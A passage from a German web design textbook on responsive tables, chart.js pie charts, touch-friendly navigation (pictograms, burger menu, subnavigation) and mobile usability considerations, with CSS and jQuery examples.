    //erzeugt für jede Tabelle der Klasse chart ein Pie-Chart
    table2chart($(this),cnt++);
  });
});
 
function table2chart(tbl,no) {
  let titel = tbl.children("caption").text(); //liest den Titel der Tabelle
  let labels = [];
  let values = [];
  tbl.find("tbody tr").each(function() {
    //liest die Beschriftung sowie den Wert der einzelnen Datensätze
    labels.push($(this).children("td").eq(0).text());
    values.push($(this).children("td").eq(1).text());
  });
 
  const data = {
    labels: labels,
    datasets: [
      {
        label: '',
        data: values
      }
    ]
  };
  const config = {
    type: 'pie',
    data: data,
    options: {
      responsive: true,
      plugins: {
        legend: {
          position: 'top',
        },
        title: {
          display: true,
          text: titel
        }
      }
    }
  };
  let cvs_name = "cvs_" + no;
  tbl.after('<canvas id="' + cvs_name + '"></canvas>'); //fügt ein Canvas-
  //Element unterhalb der jeweiligen Tabelle ein
  new Chart($("#"+cvs_name),config); //generiert das Chart
}


                    Listing 8.24    
            Charts sind eine feine Sache, da sie leicht verständlich sind. Ihre Einbettung erfordert jedoch JavaScript-Wissen.

                    Die noch benötigte Media Query ist nun denkbar einfach. Jedoch sollten Sie beachten, dass chart.js bei der Generierung des Canvas-Inhalts dem <canvas> ein Inline-Styling hinzufügt (display:block), das wiederum nur mit der !important-Deklaration übertrumpft werden kann:

                    @media screen and (min-width:48em) {
  canvas.chart { display:none !important; }
  table.chart { display:block; }
}
@media screen and (max-width:calc(48em - 1px)) {
  canvas.chart { display:block !important; }
  table.chart { display:none; }
}


                    Ein weiterer, wenn auch recht kreativer Ansatz von Brad Czerniak sind die sogenannten Responsive Rainbow Tables, in denen die Spalteninhalte von Tabellen zusammengeschrumpft und farbig hinterlegt werden. Dieser Ansatz ist dann (halbwegs) sinnvoll, wenn die Spaltenüberschriften mehr Platz benötigen als die eigentlichen Spalteninhalte selbst, wie Sie in Abbildung 8.33 sehen.

                    
                        [image: Die Spaltenüberschriften nehmen den meisten Platz ein.]

                        Abbildung 8.33    
            Die Spaltenüberschriften nehmen den meisten Platz ein.

                    
                    Für eine eingeschränkte Anzahl unterschiedlicher Farben lässt sich die von Brad Czerniak erdachte Darstellung auch ohne JavaScript realisieren, wie Sie in Abbildung 8.34 sehen.

                    
                        [image: Die Tabelle lässt sich nun sehr viel kompakter darstellen, ohne dass man Informationen verliert. Aber auch hier gilt: Dieser Ansatz ist nur eingeschränkt einsetzbar.]

                        Abbildung 8.34    
            Die Tabelle lässt sich nun sehr viel kompakter darstellen, ohne dass man Informationen verliert. Aber auch hier gilt: Dieser Ansatz ist nur eingeschränkt einsetzbar.

                    
                    Der zugehörige CSS-Code ist sehr überschaubar:

                    table, thead, tbody, tr { display:block; }
th, td {
    display:inline-block;
    padding:0px 0.2em;
}
thead { margin-bottom:0.5em; }
th:nth-of-type(5n-5), td:nth-of-type(5n-5) {
    background-color:hsl(0,20%,70%);
}
th:nth-of-type(5n-4), td:nth-of-type(5n-4) {
    background-color:hsl(72,20%,70%);
}
th:nth-of-type(5n-3), td:nth-of-type(5n-3) {
    background-color:hsl(144,20%,70%);
}
th:nth-of-type(5n-2), td:nth-of-type(5n-2) {
    background-color:hsl(216,20%,70%);
}
th:nth-of-type(5n-1), td:nth-of-type(5n-1) {
    background-color:hsl(288,20%,70%);
}


                    Listing 8.25    
            Überschaubarer Code, aber nur in speziellen Fällen einsetzbar

                    Der Trick besteht lediglich darin, die Zellen als Inline- oder Inlineblock-Elemente darzustellen. Die unterschiedlichen Farben wiederholen sich in Form von Fünferpaketen, d. h., beginnend mit 5n-4 (CSS beginnt bei 1 zu zählen) wiederholen sich alle Farben nach jeder fünften Spalte. Das ist so weit vertretbar, und wenn man möchte, könnte man weitere Farben definieren. Man müsste nur den Faktor vor dem n erhöhen, also etwa 8n-x für acht verschiedene Farben usw.

                    Anders als beim Ansatz von Czerniak könnte man auch darüber nachdenken, die Spaltenbeschriftung einfach vertikal darzustellen, wie Sie es in Abbildung 8.35 sehen. Hierfür ist eine einzige Eigenschaft in CSS notwendig – die writing-mode-Eigenschaft:

                    th { writing-mode: vertical-lr; }


                    Sollten Sie die Beschriftung lieber in der anderen Richtung anzeigen wollen (von unten nach oben), so können Sie sich der rotate-Funktion bedienen:

                    th {
  writing-mode: vertical-lr;
  transform:rotate(180deg);
}


                    
                        [image: Ein unglaublich einfacher Ansatz ist das vertikale Darstellen der Überschriftenzellen.]

                        Abbildung 8.35    
            Ein unglaublich einfacher Ansatz ist das vertikale Darstellen der Überschriftenzellen.

                    
                    Das Schöne daran ist, dass man manchmal mit sehr wenig Aufwand ans Ziel gelangt. Dennoch gilt: Diese Darstellungsvariante ist nur bedingt einsetzbar, und zwar genau dann, wenn die Spaltenwerte schmal sind (wie etwa im Fall kleiner Zahlen).

                    Nicht sinnvoll ist es, Spalten aufgrund der geringen Viewport-Breite einfach wegzulassen, denn der User hat es verdient, auch auf kleineren Bildschirmen sämtliche Informationen zu sehen. In früheren Zeiten des Responsive Designs mag man diesen Weg noch gegangen sein, aber heutzutage hat man ausreichend gute Alternativen gefunden, um Tabellen responsiv zu gestalten.

                
            
        
        
            8.5.4    Navigation

            Weil die Navigation auf einer Website mitunter das Wichtigste ist, um die Benutzbarkeit der Website für den User zu gewährleisten, werden wir uns über sie ausführlich Gedanken machen müssen. Dennoch ist die Sache relativ schnell erledigt, denn in Wahrheit existieren nur drei Varianten für eine gelungene Navigation. Das wesentliche Kriterium stellt die Anzahl der Navigationspunkte dar:

            
                	
                    Die Anzahl der Navigationspunkte ist gering, weshalb die Navigation – gegebenenfalls mit kleinen Anpassungen – so bleiben darf, wie sie ist.

                

                	
                    Die Anzahl der Navigationspunkte ist sehr gering und sie können als Piktogramme darstellt werden.

                

                	
                    Die Anzahl der Navigationspunkte ist beliebig, weshalb die Navigation über einen Burger-Button ein- und ausgeblendet wird.

                

            

            Die erste Variante kommt sehr selten vor, da fast jede halbwegs große Website zumindest 6 bis 7 Navigationspunkte aufweist, was für ein Smartphone schon wieder zu viel ist. An dieser Stelle sollten Sie nämlich auch bedenken, dass die klickbare Fläche bei Touch-Geräten größer sein muss.

            Die zweite Variante macht grafisch immer etwas her, scheitert aber zumeist daran, dass man keine passenden Piktogramme zu den Menüpunkten findet, die der Betrachter gut erkennen und korrekt interpretieren kann.

            Die dritte Variante stellt für den User mittlerweile die Standardmethode zur Verwendung der Navigation dar, mit der er vertraut ist. An sich gibt es keinen triftigen Grund, nicht sofort auf den Zug von Variante 3 aufzuspringen, wenn Sie sich einen gewissen Automatismus einprägen möchten. Dennoch sollten Sie von Projekt zu Projekt denken und die Vor- und Nachteile der drei Varianten je Projekt betrachten.

            Auch sollten Sie sich vor Augen führen, dass Sie im Wesentlichen nur zwischen Smartphone/Tablet im Hochformat und dem Rest unterscheiden müssen – aber dazu haben wir ja unsere Media Queries, über die wir sehr gut steuern können, wann welche Darstellungsvariante für die Navigation eingesetzt werden soll.

            
                [Info]  Die genormte Fingerkuppengröße

                Sie werden’s nicht glauben, aber die Fingerkuppengröße ist normiert! Sie liegt bei ca. 7 mm im Durchmesser, was je nach Gerät 34 px bis 45 px entspricht. Dies wiederum ist etwas mehr als die doppelte Schriftgröße: 1 em entspricht ja bekanntlich 16 px.

            

            
                [image: Sechs Navigationspunkte dieser Länge sollten noch kein Problem für eine gelungene Navigation auf Smartphones darstellen.]

                Abbildung 8.36    
            Sechs Navigationspunkte dieser Länge sollten noch kein Problem für eine gelungene Navigation auf Smartphones darstellen.

            
            Betrachten wir etwa die Seite in Abbildung 8.36, so erkennen wir rasch, dass die Anzahl der Navigationselemente noch nicht problematisch für ein Smartphone werden würde. Dennoch wollen wir uns an diesem Beispiel ansehen, wie die unterschiedlichen Ansätze realisiert werden könnten.

            
                Ansatz 1: Keine Änderungen an der Darstellung der Navigation

                In der Smartphone-Darstellung mit Ansatz 1 (»Wir belassen die Navigation so, wie sie ist«) erhielten wir ein Ergebnis in der Art von Abbildung 8.37.

                Aber wahrscheinlich haben Sie es sich ohnehin schon gedacht: So einfach kann’s und wird’s nicht immer sein. Außerdem sollten wir Folgendes noch in Betracht ziehen:

                
                    	
                        Die Bedienung mobiler Geräte erfolgt in den meisten Fällen mit einem Finger (und nur sehr selten mit einem Stift o. Ä.). Das bedeutet, unser User ist nicht ganz so treffsicher wie mit einer Maus. Technisch gesprochen, nennen wir den Finger ein grobes Zeigegerät, die Maus ein feines Zeigegerät.

                    

                    	
                        Die Fläche, mit der ein User auf das Display tippt, ist nicht die gesamte Fingerkuppengröße, sondern nur ein Teil davon, nämlich ca. 7 mm im Durchmesser. Das entspricht beispielsweise im Falle eines iPhone Pro (1170 × 2532 px bei 460 ppi und dreifacher Pixeldichte) umgerechnet etwa 42 px, also etwa der 2,5-fachen Schriftgröße. Dieser Wert sollte der Fläche entsprechen, auf die der User tapsen kann.

                    

                    	
                        Der Abstand zwischen klickbaren Bereichen sollte wiederum etwa 2 mm betragen, was in diesem Beispiel etwa 12 px entspricht.

                    

                    	
                        Bei Textlinks entspricht der Klickbereich lediglich der Fläche des Ankers, auch wenn dem Anker ein Padding zugewiesen wird. Erst wenn der Anker mit einer Farbe hinterlegt wird, zählt auch das Padding zum Klickbereich dazu.

                    

                

                
                    [image: Problemlose Darstellung der Navigation: Der Platz ist ausreichend, das Design wird durch die zweizeilige Navigation nicht beeinträchtigt.]

                    Abbildung 8.37    
            Problemlose Darstellung der Navigation: Der Platz ist ausreichend, das Design wird durch die zweizeilige Navigation nicht beeinträchtigt.

                
                Mit anderen Worten: Vermeiden Sie es, dass der User versehentlich auf den falschen Navigationspunkt klickt, nur weil seine Fingerkuppe zu groß ist. Das Problem ist in Abbildung 8.38 dargestellt.

                Somit müssen wir an dieser Navigation einige Änderungen vornehmen:

                
                    	
                        Jeder Navigationspunkt sollte eine Fläche von circa der 2,5-fachen Schriftgröße einnehmen. → Dies erreichen wir, indem wir den dahinterliegenden Ankern ein entsprechendes Padding geben.

                    

                    	
                        Die Navigationspunkte sollen ca. 12 px (oder 0,75 em) auseinanderliegen. → Dies erreichen wir, indem wir den Listenpunkten der Navigation einen Margin zuweisen.

                    

                    	
                        Die klickbare Fläche eines jeden Ankers soll der Fläche inklusive des Paddings entsprechen. → Dies erreichen wir, indem wir den Ankern eine (wenn auch transparente) Hintergrundfarbe zuweisen.

                    

                

                
                    [image: Wählt man den Abstand zwischen Navigationselementen (oder irgendwelchen klickbaren Bereichen) zu klein, so besteht die Gefahr, dass sich der User verklickt.]

                    Abbildung 8.38    
            Wählt man den Abstand zwischen Navigationselementen (oder irgendwelchen klickbaren Bereichen) zu klein, so besteht die Gefahr, dass sich der User verklickt.

                
                Gesagt, getan:

                @media screen and (max-width:calc(48rem - 1px)) {
  nav li {
    margin:0.375rem 0.5rem;
  }
  nav a {
    display:inline-block;
    line-height:1;
    padding:0.75rem 0px;
    background-color:rgba(255,255,255,0);
  }
}


                Listing 8.26    
            Die Fingerkuppengröße wird nun berücksichtigt.

                Nun sollte sich der User nicht mehr verklicken können (siehe Abbildung 8.39).

                
                    [image: Nun kann sich unser User nicht mehr verklicken, da einerseits die Klickbereiche groß genug sind und andererseits auch ein Abstand zwischen den Navigationspunkten eingehalten wird.]

                    Abbildung 8.39    
            Nun kann sich unser User nicht mehr verklicken, da einerseits die Klickbereiche groß genug sind und andererseits auch ein Abstand zwischen den Navigationspunkten eingehalten wird.

                
                
                    [»]  Anmerkungen zum Code

                    Beachten Sie, dass die Listenelemente vom Typ inline-block sind. Dementsprechend kann diesen ein Margin zugewiesen werden. Weil diese Elemente aber nach wie vor »in einer Zeile schwimmen«, gilt die Regel der Collapsing Margins nicht. Mit anderen Worten, diesen Elementen wird ein Oben- und Untenabstand von 0,375 rem anstatt von 0,75 rem zugewiesen. Bei Block-Elementen würde das nicht klappen, da hier die Regel der Collapsing Margins gilt. Achten Sie weiters darauf, dass Sie die Einheit rem (anstatt em) verwenden, um sicherzustellen, dass Sie Bezug auf die Basisgröße der Schrift nehmen.

                

                Der eine oder andere Leser könnte an dieser Stelle eventuell auf die Idee kommen, dass dieser Anwendungsfall prädestiniert dafür wäre, die Größen der klickbaren Bereiche nun in Millimetern anzugeben, da wir es ja tatsächlich an dieser Stelle mit dieser Einheit zu tun haben. Nun, die Idee wäre an sich großartig, nur leider klappt dies aus folgendem Grund nicht: Das Gerät (Smartphone, Tablet etc.) kennt zwar seine Display-Auflösung in Pixel sowie seine Pixeldichte (Device-Pixel Ratio), nicht jedoch seine physischen Abmessungen. Aus diesem Grund müssen wir uns von der Idee verabschieden, mit Millimetern arbeiten zu können. Einheiten dieser Coleur können nur dort zum Einsatz gebracht werden, wo das System selbst auf diesen Einheiten aufbaut. Ein Drucker wäre ein Beispiel hierfür.

                Nachteilig an dieser Variante ist, dass die Navigation wegscrollt und man sie nicht immer sticky am oberen Rand positionieren kann, da sie eventuell zu viel Platz einnimmt. Sollten es nur wenige Navigationspunkte sein, so funktioniert diese Variante gut.

            
            
                Ansatz 2: Piktogramme anstatt Textlinks

                Unter Piktogrammen verstehen wir Bildzeichen wie Icons oder Symbole, die beim Betrachter eine Assoziation zu einem Begriff hervorrufen – unabhängig von Sprache und Kultur. Das Wort setzt sich aus dem Lateinischen pictus (für Bild) und dem Griechischen gramm (für Geschriebenes) zusammen. Folgende Merkmale sollte ein Piktogramm aufweisen:

                
                    	
                        Die Bedeutung des Piktogrammes sollte ohne den Einsatz von zusätzlichem 
Text erkennbar sein.

                    

                    	
                        Es sollte kulturunabhängig und international sein.

                    

                    	
                        Es sollte so einfach wie möglich gehalten werden und auf alle unnötigen Gestaltungselemente verzichten.

                    

                    	
                        Es muss sich in die Gestaltungslinie der Umgebung einpassen.

                    

                

                Im konkreten Fall ist diese Variante eine Möglichkeit, da wir es mit einer überschaubaren Anzahl an Navigationspunkten zu tun haben. Die Aufgabe, die es zu lösen gilt, ist das Auffinden geeigneter Piktogramme. Eine der beliebtesten Herangehensweisen, dieses Problem zu lösen, ist das Finden von Assoziationen zu den jeweiligen Begriffen. Versuchen wir’s mal:

                
                    	
                        Home: Zuhause, Haus, Gebäude, Ausgangspunkt, Start

                    

                    	
                        About: Idee, Grundlage, Basis, Person, Ich, Wir

                    

                    	
                        Work: Das Können, Dienstleistung, Leistung, Erstellung

                    

                    	
                        Refs: Referenzen, Geleistetes, Arbeiten, Erzeugnisse, Ergebnisse, Beispiele, Highlights, Großartiges

                    

                    	
                        Contact: Kontakt, E-Mail, Telefon, Post, Kommunikation

                    

                    	
                        Switch: Schalter, schalten, wechseln

                    

                

                Als Nächstes ist es wichtig, das Rad nicht neu zu erfinden, sondern auf bewährte Piktogramme zurückzugreifen. Für viele Anwendungsfälle haben sich im Laufe der Zeit Piktogramme bewährt, die einerseits Metaphern darstellen und andererseits dem User bereits sehr geläufig sind. Dies gilt natürlich nicht für jeden Begriff, und genau das ist ja auch der Grund, warum dieser Ansatz nicht immer funktionieren wird.

                Haben wir passende Piktogramme gefunden bzw. entworfen, müssen wir noch Anpassungen am HTML-Code vornehmen, da wir den einzelnen Menüpunkten nun die zugehörigen Piktogramme zuweisen müssen. Hier empfiehlt sich etwa wieder der Einsatz eines data-Attributs, wie das folgende Codefragment zeigt:

                <nav>
  <ul>
    <li><a href="..." data-nav="home">Home</a></li>
    ...
     <li><a href="..." data-nav="about">About</a></li>
    ...
  </ul>
</nav>


                Nun können wir mittels CSS zur Tat schreiten:

                
                    	
                        Der Text der Navigationspunkte muss ausgeblendet werden: Hierzu verwenden wir den schon bekannten Trick, dass die Schriftgröße auf 0 px gesetzt wird.

                    

                    	
                        Jedem Navigationspunkt muss ein Piktogramm als Hintergrundbild zugewiesen werden (siehe Abbildung 8.40).

                    

                    	
                        Die Navigation sollte sticky am oberen oder unteren Bildschirmrand stehen bleiben.

                    

                

                @media screen and (max-width:calc(48rem - 1px)) {
  nav a {
    font-size:0px;
    background-repeat:no-repeat;
    background-position:center;
    width:100%;
    height:100%;
    display:block;
  }
  nav a[data-nav="home"] { background-image:url(home.svg); }
  nav a[data-nav="about"] { background-image:url(about.svg); }
  nav a[data-nav="work"] { background-image:url(work.svg); }
  nav a[data-nav="refs"] { background-image:url(refs.svg); }
  nav a[data-nav="contact"] { background-image:url(contact.svg); }
  nav a[data-nav="switch"] { background-image:url(switch.svg); }
 
  nav {
    position:sticky;
    top:1rem;
    z-index:1001;
  }
  nav > ul {
    display:flex;
    justify-content:center;
    height:3rem;
  }
  nav > ul > li {
    flex-grow:0;
    flex-shrink:0;
    margin:0px 0.375rem;
    aspect-ratio:1;
    height:100%;
  }
}


                Listing 8.27    
            Eine sticky-Navigation am oberen Bildschirmrand

                
                    [image: Eine Piktogramm-Navigation macht immer etwas her, wenn sie denn auch zum Projekt passt.]

                    Abbildung 8.40    
            Eine Piktogramm-Navigation macht immer etwas her, wenn sie denn auch zum Projekt passt.

                
                Nachteilig bei Piktogrammen ist, dass man sich mit Unternavigationen schwertut: Für jeden Subnavigationspunkt ein entsprechendes Piktogramm zu finden, ist unwahrscheinlich bis unmöglich. Aus diesem Grund wird für die Subnavigation auf eine konventionelle Darstellung zurückgegriffen, wie Sie sie im nächsten Ansatz mit dem Burger-Menü kennenlernen werden.

            
            
                Ansatz 3: Das Burger-Menü

                Nun sind wir also bei dem Ansatz angelangt, der mittlerweile fast durchgängig in der mobilen Darstellung von Websites angewandt wird. Die Vorteile dieses Ansatzes liegen auf der Hand: ein Icon, das jeder kennt, sowie eine Funktionsweise, die jeder kennt. Somit können wir mit gutem Gewissen sagen, dass diese Art der Darstellung einer Navigation (oder besser: eines Buttons, über den die Navigation erst eingeblendet wird) als Quasi-Standard angesehen werden darf. Für unsere User ist dies der Idealfall: Je weniger ein User beim Betrachten einer Website nachdenken muss, umso besser kann er sie offensichtlich wahrnehmen.

                Soll ein Burger-Button eingesetzt werden, so müssen wir in unserem HTML wiederum Vorkehrungen in Form eines Buttons treffen, der mithilfe von CSS für die konventionelle Darstellung der Navigation zunächst einmal ausgeblendet wird:

                <style>


                #btnMenu {
  display:none;
}


                </style>
<button type="button" class="material-symbols-outlined" id="btnMenu">menu
</button>


                Insbesondere bei solchen Elementen wie dem Burger-Button empfiehlt sich der Einsatz vorgefertigter Elemente, wie wir sie etwa bei den Material Icons von Google (https://fonts.google.com/icons) oder auch bei FontAwesome oder ähnlichen Anbietern finden. Ich persönlich bevorzuge die Google-Icons, aber diese Wahl ist einem jeden Webdesigner selbst überlassen. Kommen die Google-Icons zum Einsatz, so darf man nicht vergessen, diese einzubetten. Wie Sie wissen, kann dies entweder mittels Download und Bereitstellen auf dem eigenen Server oder über eine direkte Einbettung via Google CDN erfolgen. Weil die Debatte über den Datenschutz immer wieder aufkommt, empfehle ich die Einbettung über den eigenen Server.

                Wird der Viewport zu klein, so blendet man den Burger-Button ein und die Navigation (vorerst einmal) aus:

                @media screen and (max-width:calc(48rem - 1px)) {
  #btnMenu { display:block; }
  nav { display:none; }
}


                Natürlich muss der Button nun noch ein wenig in Form gebracht werden, was eine gute Fingerübung in CSS ist. Das Ergebnis könnte dann etwa so wie in Abbildung 8.40 aussehen.

                Vergessen Sie jedoch nicht, dass jeder Button in HTML auch eine entsprechende Funktionalität erhalten muss, die wiederum eine JavaScript- bzw. jQuery-Programmierung nach sich zieht. Unser Ziel ist es, bei einem Klick (Druck) auf den Button die Navigation ein- bzw. auszublenden, was man in der Fachsprache bekanntermaßen toggeln nennt. Am einfachsten realisiert man das, indem man der betreffenden Navigation bei einem Klick auf den Button eine CSS-Klasse hinzufügt bzw. diese wieder wegnimmt:

                $("#btnMenu").on("click",function() {
  $(this).closest("nav").toggleClass("visible");
});


                
                    [image: Der altbekannte Burger-Button: mittlerweile ein Quasi-Standard.]

                    Abbildung 8.41    
            Der altbekannte Burger-Button: mittlerweile ein Quasi-Standard.

                
                Im obigen Code-Snippet wird der Navigation, die dem Button im HTML-Code übergeordnet ist, die Klasse visible hinzugefügt bzw. weggenommen, sobald auf den Button geklickt wird. Das klappt natürlich nur dann, wenn der HTML-Code auch entsprechend aufgebaut ist:

                <nav>
  <button type="button" class="material-symbols-outlined" id="btnMenu">menu
</button>
  <ul>
    ...
  </ul>
</nav>


                Diese Klasse steuert nun die Sichtbarkeit der eigentlichen Navigation (siehe Abbildung 8.42):

                @media screen and (max-width:calc(48rem - 1px)) {
  nav.visible > ul { display:block; }
}


                
                    [image: Die eingeblendete Navigation, bei der wir unsere Erkenntnisse über die Größe der klickbaren Fläche sowie den Abstand zwischen klickbaren Elementen natürlich berücksichtigt haben.]

                    Abbildung 8.42    
            Die eingeblendete Navigation, bei der wir unsere Erkenntnisse über die Größe der klickbaren Fläche sowie den Abstand zwischen klickbaren Elementen natürlich berücksichtigt haben.

                
                Ungeklärt ist jedoch immer noch, wie wir mit einer Subnavigation verfahren. Unser Ziel wäre es, bei einem Klick auf eine Hauptnavigation die zugehörige Subnavigation ein- bzw. auszublenden. Ein zweites Ziel ist jedoch auch, einen optischen Unterschied zwischen einer Haupt- und einer Subnavigation (usw.) zu kreieren.

                Widmen wir uns dem ersten Ziel. Dieses erreichen wir wiederum mithilfe clientseitiger Programmierung, indem wir sämtliche Listenelemente, die sich innerhalb einer Navigation befinden, anweisen, dass sie bei einem Klick ihre Kind-Liste ein- bzw. ausblenden sollen. In diesem Fall darf der betroffene Navigationspunkt jedoch kein Link sein, sondern lediglich ein Eintrag, der zum Ein- und Ausblenden der Subnavigation verwendet wird:

                $(document).ready(function() {
  $("nav li").on("click",function() {
    $(this).children("ul").toggle();
  });
});


                
                    [image: Die eingeblendete Subnavigation lässt keine Zweifel offen, dass sie eine ebensolche ist.]

                    Abbildung 8.43    
            Die eingeblendete Subnavigation lässt keine Zweifel offen, dass sie eine ebensolche ist.

                
            
            
                Subnavigationen im Falle mobiler Darstellung

                Was im ganzen Trubel um die Navigation oft vergessen wird, ist einerseits eine ausgewogene optische Darstellung der Subnavigation, aber andererseits auch das Interaktionsmodell dahinter.

                Folgende Punkte sollten berücksichtigt werden:

                
                    	
                        Haupt- und Subnavigationen müssen klar voneinander unterschieden werden können. Dies erreicht man unter anderem wie folgt:

                        
                            	
                                Farbliche Trennung: unterschiedliche Hintergrund- und/oder Textfarben

                            

                            	
                                Schriftgrößenvariation: Subnavigationen sollten eine kleinere Schriftgröße verwenden.

                            

                            	
                                Abtrennung mittels Rahmenlinien: Subnavigationen können von dem übergeordneten Navigationspunkt eingerahmt bzw. umschlossen werden.

                            

                            	
                                Einrückung: Subnavigationspunkte können – sofern sie links oder rechts angeordnet sind – um einen gewissen Wert eingerückt werden (ganz im Sinne von verschachtelten Listen).

                            

                            	
                                Darstellen, dass eine Subnavigation verfügbar ist: Dies erreicht man über entsprechende Icons wie Pfeile o. Ä.

                            

                        

                    

                    	
                        Das Interaktionsmodell muss klar sein: Beachten Sie an dieser Stelle, dass im Falle mobiler Darstellung kein Hover-Status verfügbar ist. Der User muss demnach immer klicken.

                    

                

                Um Subnavigationen ersichtlich zu machen, die zunächst ausgeblendet sind, nutzt man häufig ein Pfeilsymbol oder Ähnliches, um diesen Status anzudeuten (vgl. etwa Abbildung 8.43). Die Frage ist nur: Wie schafft man es, dass diese Pfeile angezeigt werden, da sie ja nicht von vornherein Teil der Navigationspunkte sind. Hier hilft wieder die clientseitige Programmierung weiter, mit deren Hilfe wir eine rekursive Funktion anstoßen:

                function showNavArrows(elem) {
  elem.children("li").each(function() {
    if($(this).children("ul").length>0) {
      $(this).children("a").append('<span class="arrow">&raquo;</span>');
      showNavArrows($(this).children("ul")); /* Rekursion */
    }
  });
}
$(document).ready(function() {
  showNavArrows($("nav > ul"));
});


                Listing 8.28    
            Einblenden eines Pfeils für alle Subnavigationselemente

                Mittels CSS lassen sich diese kleinen Pfeilsymbole dann natürlich auch formatieren. Beispielsweise könnte man beim Einblenden einer Subnavigation den Pfeil um 90° drehen, sodass er nach unten zeigt, indem man ihm nach dem Klick auf den zugehörigen Navigationspunkt die Klasse opened toggelt:

                nav a > .arrow {
  display:inline-block;
  transform-origin:left center;
}
nav a > .arrow.opened { transform:rotate(90deg); }


            
        
    


                    
                        
        8.6    Mobile Usability – Usability weitergedacht

        Wenn Sie diese Zeilen lesen, dann sollten Sie die technischen Grundlagen (Media Queries, Grids, flexible Inhalte) bereits kennen. Dennoch werden Sie nie damit fertig sein, sich über den User und seine Bedürfnisse Gedanken zu machen.

        Fassen wir unser bisheriges Wissen über mobile Endgeräte noch einmal kurz zusammen. In puncto Gerät wissen wir Folgendes:

        
            	
                Touch vs. Click: Wir berühren das Display, wir klicken nicht. Daraus ergeben sich folgende Konsequenzen:

                
                    	
                        Wir können Kontextmenüs und Tooltips nur bedingt einsetzen, da kein Hover-Zustand (wie bei mouse-over) existiert.

                    

                    	
                        Die klickbare Fläche muss mindestens in Fingerkuppengröße sein.

                    

                

            

            	
                Wipe vs. Scroll: Wir scrollen nicht, wir wischen.

            

            	
                Look-and-feel vs. Performance: Die Leistung ist in vielerlei Hinsicht (wesentlich) geringer als die von (ausgewachsenen) Geräten wie Desktop-Rechnern oder Notebooks.

                
                    	
                        Der Prozessor eines mobilen Geräts ist auf Single- bzw. Doubletasking, aber nicht auf Multitasking ausgelegt. Außerdem muss der Prozessor mit der (Rechen-)Leistung haushalten, da ansonsten der Akku zu schnell leer ist.

                    

                    	
                        Der Grafikchip eines mobilen Geräts kann nicht mit den Möglichkeiten einer »echten« Grafikkarte verglichen werden.

                    

                    	
                        Die Internetverbindung mobiler Geräte sieht zwar in Marketingbroschüren gut aus und die tatsächliche Verbindungsleistung kann im urbanen Raum mit diesen Zahlen annähernd mithalten, aber im ländlichen Raum sieht es in der Regel immer noch anders aus.

                    

                    	
                        Eine Tastatur ist normalerweise nicht vorhanden. Wird die Bildschirmtastatur eingeblendet, so deckt sie zumeist den halben Bildschirm ab.

                    

                

            

        

        Neben den Unterschieden in den Features muss man sich jedoch auch Gedanken über den User selbst machen – und zwar vor allem in Hinblick auf seine Bedienfähigkeit und die Umgebung, in der er sich befindet (und die gegebenenfalls seine Sinne beeinträchtigt). Auch wie er sich bewegt, spielt eine Rolle.

        Mögliche Situationen, in denen sich der User befindet, können wir wie folgt identifizieren:

        
            	
                Bewegung
Wenn der User in Bewegung ist, ist er weniger aufnahmefähig als z. B. in einer Ruheposition. Die Anwendung sollte jetzt nur die notwendigsten Informationen darstellen. Ein Beispiel wäre etwa eine Website für die Navigation.

            

            	
                Position des Users
Steht, sitzt oder liegt der User beim Verwenden des Geräts? Hat er eine oder beide Hände frei? Davon ist abhängig, ob der User komplexeren Eingabemechanismen folgen kann.

            

            	
                Anbindungsgeschwindigkeit
Ist der User per WLAN oder über das Mobilfunknetz (5G, 4G, 3G, GPRS, EDGE) angebunden? Davon ist abhängig, wie schnell der User Daten laden kann und wie komplex und aufwendig daher der gelieferte Content sein darf.

            

            	
                Lichtverhältnisse
Ist es Tag oder Nacht, ist der User in einem Zimmer oder im Freien? Je nach Lichtverhältnissen sollten Sie die Farbkontraste entsprechend wählen.

            

            	
                Umgebung
Je nach Umgebung soll/darf die Anwendung keine Töne von sich geben.

            

        

        
            8.6.1    Bedienfähigkeit

            Mit anderen Worten, im Bereich der Mobile Usability macht man sich viele Gedanken darüber, wie bedienfähig ein System mit einem vorhandenen Gerät ist. Um hier Lösungen zu finden, müssen wir aber zuerst einmal wissen, wie ein User mit einem mobilen Gerät überhaupt umgeht: Wie hält der User das Gerät, mit welchen Fingern bedient er es, worauf blickt er zuerst?

            Werfen wir in Abbildung 8.44 einen Blick auf die möglichen Arten, wie ein User ein Smartphone üblicherweise in den Händen hält.

            Laut einer Studie von UX Matters ergeben sich folgende Fakten:

            
                	
                    Es existiert keine eindeutige Art und Weise, wie Menschen ihre Smartphones bedienen. Vielmehr hängt dies vom Gerät selbst, von den Anforderungen durch das System und von dessen Kontext ab.

                

                	
                    User tendieren dazu, zwischen den unterschiedlichen Arten des Haltens eines Smartphones zu wechseln, ohne dass ihnen das überhaupt bewusst ist.

                

                	
                    Die große Mehrheit der User (ca. 75 %) bedient das Smartphone mit dem Daumen.

                

                	
                    Etwas weniger als 50 % der User halten das Gerät mit einer Hand.

                

                	
                    Circa 36 % der User umklammern das Smartphone so, dass sie es mit der zweiten Hand bedienen können. Der Grund ist zumeist der Bedarf nach einer größeren Reichweite.

                

                	
                    Circa 10 % der User umklammern das Smartphone derart, dass sie mit einem Finger der anderen Hand tippen können.

                    (Quelle: https://www.uxmatters.com/mt/archives/2017/03/design-for-fingers-touch-and-people-part-1.php)

                

            

            
                [image: Unterschiedliche Arten der Smartphone-Bedienung]

                Abbildung 8.44    
            Unterschiedliche Arten der Smartphone-Bedienung

            
            Aus den obigen Überlegungen ergibt sich sofort folgende Frage: Welche Bereiche erreicht man im Falle der Einhandbedienung mit dem Daumen überhaupt? Schließlich bevorzugen ja ca. 75 % aller User die Bedienung per Daumen.

            Dass die Antwort darauf mit einer weiteren Frage verbunden ist, ist klar: Von welcher Smartphone-Größe (und gegebenenfalls welcher Handgröße und Daumenlänge) sprechen wir denn? Offensichtlich ist der erreichbare Bereich auf einem kleinen Smartphone größer als bei einem großen Smartphone. In einer früheren Untersuchung von Steven Hobbers von UX Matters aus dem Jahr 2013 konnte man erkennen, dass die Einhandnutzung eines Smartphones unweigerlich dazu führt, dass nur ein eingeschränkter Bereich des Displays nutzbar ist – je größer das Smartphone und je kleiner die Hand ist, umso geringer ist die erreichbare Fläche.

